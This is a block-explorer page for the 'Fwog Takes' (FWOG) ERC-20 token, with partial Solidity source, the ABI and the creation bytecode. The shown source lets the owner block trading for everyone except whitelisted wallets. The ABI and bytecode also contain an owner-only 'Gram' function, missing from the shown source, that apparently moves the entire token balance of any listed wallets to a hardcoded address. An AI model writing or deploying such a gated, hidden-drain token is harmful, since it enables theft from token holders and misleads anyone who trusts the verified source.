spender, currentAllowance - value, false); } } } } // | string | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | // | length | 0x BB | type ShortString is bytes32; /** * @dev This library provides functions to convert short memory strings * into a `ShortString` type that can be used as an immutable variable. * * Strings of arbitrary length can be optimized using this library if * they are short enough (up to 31 bytes) by packing them with their * length (1 byte) in a single EVM word (32 bytes). Additionally, a * fallback mechanism can be used for every other case. * * Usage example: * * ```solidity * contract Named { * using ShortStrings for *; * * ShortString private immutable _name; * string private _nameFallback; * * constructor(string memory contractName) { * _name = contractName.toShortStringWithFallback(_nameFallback); * } * * function name() external view returns (string memory) { * return _name.toStringWithFallback(_nameFallback); * } * } * ``` */ library ShortStrings { // Used as an identifier for strings longer than 31 bytes. bytes32 private constant FALLBACK_SENTINEL = 0x0000000000000000000000000000000000000000000000000000000000000000; error StringTooLong(string str); error InvalidShortString(); /** * @dev Encode a string of at most 31 chars into a `ShortString`. * * This will trigger a `StringTooLong` error is the input string is too long. */ function toShortString(string memory str) internal pure returns (ShortString) { bytes memory bstr = bytes(str); if (bstr.length > 31) { revert StringTooLong(str); } return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length)); } /** * @dev Decode a `ShortString` back to a "normal" string. */ function toString(ShortString sstr) internal pure returns (string memory) { uint256 len = byteLength(sstr); // using `new string(len)` would work locally but is not memory safe. string memory str = new string(32); assembly ("memory-safe") { mstore(str, len) mstore(add(str, 0x20), sstr) } return str; } /** * @dev Return the length of a `ShortString`. */ function byteLength(ShortString sstr) internal pure returns (uint256) { uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF; if (result > 31) { revert InvalidShortString(); } return result; } /** * @dev Encode a string into a `ShortString`, or write it to storage if it is too long. */ function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) { if (bytes(value).length < 32) { return toShortString(value); } else { StorageSlot.getStringSlot(store).value = value; return ShortString.wrap(FALLBACK_SENTINEL); } } /** * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}. */ function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) { if (ShortString.unwrap(value) != FALLBACK_SENTINEL) { return toString(value); } else { return store; } } /** * @dev Return the length of a string that was encoded to `ShortString` or written to storage using * {setWithFallback}. * * WARNING: This will return the "byte length" of the string. This may not reflect the actual length in terms of * actual characters as the UTF-8 encoding of a single character can span over multiple bytes. */ function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) { if (ShortString.unwrap(value) != FALLBACK_SENTINEL) { return byteLength(value); } else { return bytes(store).length; } } } interface IERC5267 { /** * @dev MAY be emitted to signal that the domain could have changed. */ event EIP712DomainChanged(); /** * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712 * signature. */ function eip712Domain() external view returns ( bytes1 fields, string memory name, string memory version, uint256 chainId, address verifyingContract, bytes32 salt, uint256[] memory extensions ); } abstract contract EIP712 is IERC5267 { using ShortStrings for *; bytes32 private constant TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _cachedDomainSeparator; uint256 private immutable _cachedChainId; address private immutable _cachedThis; bytes32 private immutable _hashedName; bytes32 private immutable _hashedVersion; ShortString private immutable _name; ShortString private immutable _version; string private _nameFallback; string private _versionFallback; /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP-712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _name = name.toShortStringWithFallback(_nameFallback); _version = version.toShortStringWithFallback(_versionFallback); _hashedName = keccak256(bytes(name)); _hashedVersion = keccak256(bytes(version)); _cachedChainId = block.chainid; _cachedDomainSeparator = _buildDomainSeparator(); _cachedThis = address(this); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _cachedThis && block.chainid == _cachedChainId) { return _cachedDomainSeparator; } else { return _buildDomainSeparator(); } } function _buildDomainSeparator() private view returns (bytes32) { return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this))); } function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash); } /** * @dev See {IERC-5267}. */ function eip712Domain() public view virtual returns ( bytes1 fields, string memory name, string memory version, uint256 chainId, address verifyingContract, bytes32 salt, uint256[] memory extensions ) { return ( hex"0f", // 01111 _EIP712Name(), _EIP712Version(), block.chainid, address(this), bytes32(0), new uint256[](0) ); } function _EIP712Name() internal view returns (string memory) { return _name.toStringWithFallback(_nameFallback); } function _EIP712Version() internal view returns (string memory) { return _version.toStringWithFallback(_versionFallback); } } /** * @dev Provides tracking nonces for addresses. Nonces will only increment. */ abstract contract Nonces { /** * @dev The nonce used for an `account` is not the expected current nonce. */ error InvalidAccountNonce(address account, uint256 currentNonce); mapping(address account => uint256) private _nonces; /** * @dev Returns the next unused nonce for an address. */ function nonces(address owner) public view virtual returns (uint256) { return _nonces[owner]; } /** * @dev Consumes a nonce. * * Returns the current value and increments nonce. */ function _useNonce(address owner) internal virtual returns (uint256) { // For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be // decremented or reset. This guarantees that the nonce never overflows. unchecked { // It is important to do x++ and not ++x here. return _nonces[owner]++; } } function _useCheckedNonce(address owner, uint256 nonce) internal virtual { uint256 current = _useNonce(owner); if (nonce != current) { revert InvalidAccountNonce(owner, current); } } } abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712, Nonces { bytes32 private constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); error ERC2612ExpiredSignature(uint256 deadline); error ERC2612InvalidSigner(address signer, address owner); constructor(string memory name) EIP712(name, "1") {} function nonces(address owner) public view virtual override(IERC20Permit, Nonces) returns (uint256) { return super.nonces(owner); } function DOMAIN_SEPARATOR() external view virtual returns (bytes32) { return _domainSeparatorV4(); } } contract FWOG is ERC20 { bool public tradingEnabled; mapping(address => bool) private excoxc; constructor() ERC20("Fwog Takes", "FWOG") { _mint(msg.sender, 42000000000 * 10 ** decimals()); } function Configtoken() external { _checkOwner(); tradingEnabled = true; } function GoFwog(address[] calldata addresses, bool getbc) external { _checkOwner(); for (uint256 i = 0; i < addresses.length; i++) { excoxc[addresses[i]] = getbc; } } function isExcluded(address account) public view returns (bool) { return excoxc[account]; } function transfer(address to, uint256 amount) public override returns (bool) { _checkTransfecolac(_msgSender(), to); _transfer(_msgSender(), to, amount); return true; } function transferFrom(address from, address to, uint256 amount) public override returns (bool) { _checkTransfecolac(from, to); _spendAllowance(from, _msgSender(), amount); _transfer(from, to, amount); return true; } function _checkTransfecolac(address from, address to) internal view { if (!tradingEnabled) { require( excoxc[from] || excoxc[to], "c" ); } } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = balanceOf(from); require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); _update(from, to, amount); emit Transfer(from, to, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Configtoken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"getbc","type":"bool"}],"name":"GoFwog","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"wallets","type":"address[]"}],"name":"Gram","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801561000f575f5ffd5b506040518060400160405280600a81526020017f46776f672054616b6573000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f46574f470000000000000000000000000000000000000000000000000000000081525061009861008d61014560201b60201c565b61014c60201b60201c565b6100a661014560201b60201c565b60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600590816100f491906106f3565b50806006908161010491906106f3565b5050506101403361011961020d60201b60201c565b600a610125919061092a565b6409c76524006101359190610974565b61021560201b60201c565b610a9d565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610285575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161027c91906109f4565b60405180910390fd5b6102965f838361029a60201b60201c565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036102ea578060045f8282546102de9190610a0d565b925050819055506103ba565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610374578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161036b93929190610a4f565b60405180910390fd5b81810360025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610401578060045f828254039250508190555061044c565b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104a99190610a84565b60405180910390a3505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061053157607f821691505b602082108103610544576105436104ed565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105a67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261056b565b6105b0868361056b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6105f46105ef6105ea846105c8565b6105d1565b6105c8565b9050919050565b5f819050919050565b61060d836105da565b610621610619826105fb565b848454610577565b825550505050565b5f5f905090565b610638610629565b610643818484610604565b505050565b5b818110156106665761065b5f82610630565b600181019050610649565b5050565b601f8211156106ab5761067c8161054a565b6106858461055c565b81016020851015610694578190505b6106a86106a08561055c565b830182610648565b50505b505050565b5f82821c905092915050565b5f6106cb5f19846008026106b0565b1980831691505092915050565b5f6106e383836106bc565b9150826002028217905092915050565b6106fc826104b6565b67ffffffffffffffff811115610715576107146104c0565b5b61071f825461051a565b61072a82828561066a565b5f60209050601f83116001811461075b575f8415610749578287015190505b61075385826106d8565b8655506107ba565b601f1984166107698661054a565b5f5b828110156107905784890151825560018201915060208501945060208101905061076b565b868310156107ad57848901516107a9601f8916826106bc565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610844578086048111156108205761081f6107c2565b5b600185161561082f5780820291505b808102905061083d856107ef565b9450610804565b94509492505050565b5f8261085c5760019050610917565b81610869575f9050610917565b816001811461087f5760028114610889576108b8565b6001915050610917565b60ff84111561089b5761089a6107c2565b5b8360020a9150848211156108b2576108b16107c2565b5b50610917565b5060208310610133831016604e8410600b84101617156108ed5782820a9050838111156108e8576108e76107c2565b5b610917565b6108fa84848460016107fb565b92509050818404811115610911576109106107c2565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610934826105c8565b915061093f8361091e565b925061096c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461084d565b905092915050565b5f61097e826105c8565b9150610989836105c8565b9250828202610997816105c8565b915082820484148315176109ae576109ad6107c2565b5b5092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6109de826109b5565b9050919050565b6109ee816109d4565b82525050565b5f602082019050610a075f8301846109e5565b92915050565b5f610a17826105c8565b9150610a22836105c8565b9250828201905080821115610a3a57610a396107c2565b5b92915050565b610a49816105c8565b82525050565b5f606082019050610a625f8301866109e5565b610a6f6020830185610a40565b610a7c6040830184610a40565b949350505050565b5f602082019050610a975f830184610a40565b92915050565b61196680610aaa5f395ff3fe608060405234801561000f575f5ffd5b5060043610610109575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb14610293578063cba0e996146102c3578063dd62ed3e146102f3578063f2fde38b14610323578063fdb6a5641461033f57610109565b806370a082311461021d578063715018a61461024d5780638da5cb5b1461025757806395d89b411461027557610109565b806323b872dd116100dc57806323b872dd14610195578063313ce567146101c5578063437d0c27146101e35780634ada218b146101ff57610109565b806306fdde031461010d578063095ea7b31461012b5780630d94dffb1461015b57806318160ddd14610177575b5f5ffd5b610115610349565b604051610122919061112c565b60405180910390f35b610145600480360381019061014091906111ea565b6103d9565b6040516101529190611242565b60405180910390f35b610175600480360381019061017091906112e6565b6103fb565b005b61017f6104a1565b60405161018c9190611352565b60405180910390f35b6101af60048036038101906101aa919061136b565b6104aa565b6040516101bc9190611242565b60405180910390f35b6101cd6104dd565b6040516101da91906113d6565b60405180910390f35b6101fd60048036038101906101f89190611527565b6104e5565b005b610207610565565b6040516102149190611242565b60405180910390f35b6102376004803603810190610232919061156e565b610577565b6040516102449190611352565b60405180910390f35b6102556105bd565b005b61025f6105d0565b60405161026c91906115a8565b60405180910390f35b61027d6105f7565b60405161028a919061112c565b60405180910390f35b6102ad60048036038101906102a891906111ea565b610687565b6040516102ba9190611242565b60405180910390f35b6102dd60048036038101906102d8919061156e565b6106b5565b6040516102ea9190611242565b60405180910390f35b61030d600480360381019061030891906115c1565b610707565b60405161031a9190611352565b60405180910390f35b61033d6004803603810190610338919061156e565b610789565b005b61034761080d565b005b6060600580546103589061162c565b80601f01602080910402602001604051908101604052809291908181526020018280546103849061162c565b80156103cf5780601f106103a6576101008083540402835291602001916103cf565b820191905f5260205f20905b8154815290600101906020018083116103b257829003601f168201915b5050505050905090565b5f5f6103e3610831565b90506103f0818585610838565b600191505092915050565b61040361084a565b5f5f90505b8383905081101561049b578160085f86868581811061042a5761042961165c565b5b905060200201602081019061043f919061156e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610408565b50505050565b5f600454905090565b5f6104b584846108eb565b6104c7846104c1610831565b846109dd565b6104d2848484610a6f565b600190509392505050565b5f6012905090565b6104ed61084a565b5f731f85e864cb60c446598b88133f2501f07c060a1b90505f5f90505b8251811015610560575f8382815181106105275761052661165c565b5b602002602001015190505f61053b82610577565b90505f81111561055157610550828583610a6f565b5b5050808060010191505061050a565b505050565b60075f9054906101000a900460ff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105c561084a565b6105ce5f610c10565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546106069061162c565b80601f01602080910402602001604051908101604052809291908181526020018280546106329061162c565b801561067d5780601f106106545761010080835404028352916020019161067d565b820191905f5260205f20905b81548152906001019060200180831161066057829003601f168201915b5050505050905090565b5f610699610693610831565b846108eb565b6106ab6106a4610831565b8484610a6f565b6001905092915050565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61079161084a565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610801575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016107f891906115a8565b60405180910390fd5b61080a81610c10565b50565b61081561084a565b600160075f6101000a81548160ff021916908315150217905550565b5f33905090565b6108458383836001610cd1565b505050565b610852610831565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e9576108ad610831565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016108e091906115a8565b60405180910390fd5b565b60075f9054906101000a900460ff166109d95760085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610999575060085f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6109d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cf906116d3565b60405180910390fd5b5b5050565b5f6109e88484610707565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610a695781811015610a5a578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610a51939291906116f1565b60405180910390fd5b610a6884848484035f610cd1565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad490611796565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290611824565b60405180910390fd5b5f610b5584610577565b905081811015610b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b91906118b2565b60405180910390fd5b610ba5848484610ea0565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c029190611352565b60405180910390a350505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610d41575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610d3891906115a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610db1575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610da891906115a8565b60405180910390fd5b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610e9a578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610e919190611352565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ef0578060045f828254610ee491906118fd565b92505081905550610fc0565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f7a578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610f71939291906116f1565b60405180910390fd5b81810360025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611007578060045f8282540392505081905550611052565b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110af9190611352565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6110fe826110bc565b61110881856110c6565b93506111188185602086016110d6565b611121816110e4565b840191505092915050565b5f6020820190508181035f83015261114481846110f4565b905092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111868261115d565b9050919050565b6111968161117c565b81146111a0575f5ffd5b50565b5f813590506111b18161118d565b92915050565b5f819050919050565b6111c9816111b7565b81146111d3575f5ffd5b50565b5f813590506111e4816111c0565b92915050565b5f5f60408385031215611200576111ff611155565b5b5f61120d858286016111a3565b925050602061121e858286016111d6565b9150509250929050565b5f8115159050919050565b61123c81611228565b82525050565b5f6020820190506112555f830184611233565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261127c5761127b61125b565b5b8235905067ffffffffffffffff8111156112995761129861125f565b5b6020830191508360208202830111156112b5576112b4611263565b5b9250929050565b6112c581611228565b81146112cf575f5ffd5b50565b5f813590506112e0816112bc565b92915050565b5f5f5f604084860312156112fd576112fc611155565b5b5f84013567ffffffffffffffff81111561131a57611319611159565b5b61132686828701611267565b93509350506020611339868287016112d2565b9150509250925092565b61134c816111b7565b82525050565b5f6020820190506113655f830184611343565b92915050565b5f5f5f6060848603121561138257611381611155565b5b5f61138f868287016111a3565b93505060206113a0868287016111a3565b92505060406113b1868287016111d6565b9150509250925092565b5f60ff82169050919050565b6113d0816113bb565b82525050565b5f6020820190506113e95f8301846113c7565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611425826110e4565b810181811067ffffffffffffffff82111715611444576114436113ef565b5b80604052505050565b5f61145661114c565b9050611462828261141c565b919050565b5f67ffffffffffffffff821115611481576114806113ef565b5b602082029050602081019050919050565b5f6114a461149f84611467565b61144d565b905080838252602082019050602084028301858111156114c7576114c6611263565b5b835b818110156114f057806114dc88826111a3565b8452602084019350506020810190506114c9565b5050509392505050565b5f82601f83011261150e5761150d61125b565b5b813561151e848260208601611492565b91505092915050565b5f6020828403121561153c5761153b611155565b5b5f82013567ffffffffffffffff81111561155957611558611159565b5b611565848285016114fa565b91505092915050565b5f6020828403121561158357611582611155565b5b5f611590848285016111a3565b91505092915050565b6115a28161117c565b82525050565b5f6020820190506115bb5f830184611599565b92915050565b5f5f604083850312156115d7576115d6611155565b5b5f6115e4858286016111a3565b92505060206115f5858286016111a3565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061164357607f821691505b602082108103611656576116556115ff565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f63000000000000000000000000000000000000000000000000000000000000005f82015250565b5f6116bd6001836110c6565b91506116c882611689565b602082019050919050565b5f6020820190508181035f8301526116ea816116b1565b9050919050565b5f6060820190506117045f830186611599565b6117116020830185611343565b61171e6040830184611343565b949350505050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6117806025836110c6565b915061178b82611726565b604082019050919050565b5f6020820190508181035f8301526117ad81611774565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61180e6023836110c6565b9150611819826117b4565b604082019050919050565b5f6020820190508181035f83015261183b81611802565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61189c6026836110c6565b91506118a782611842565b604082019050919050565b5f6020820190508181035f8301526118c981611890565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611907826111b7565b9150611912836111b7565b925082820190508082111561192a576119296118d0565b5b9291505056fea2646970667358221220b15e8d2a88f5cfd21b1690bf6107adcd4a0745595404f8e9f0c62fe9cb83451664736f6c634300081c0033
Deployed Bytecode
